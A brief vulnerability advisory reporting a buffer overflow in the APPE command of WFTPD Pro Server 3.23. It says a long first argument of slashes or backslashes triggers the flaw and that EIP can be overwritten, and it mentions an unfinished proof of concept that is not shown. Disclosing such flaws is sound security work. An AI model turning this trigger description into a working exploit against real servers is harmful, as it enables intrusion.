WFTPD Pro Server 3.23 Buffer Overflow
-------------------------------------

A buffer overflow was found in the APPE command when
passing (as first) a long string
with slashes and/or backslashes. The exploit is
clearly exploitable as overwritting EIP
is quite easy but I'm too lazy...

Attached goes an (unfinished) POC.
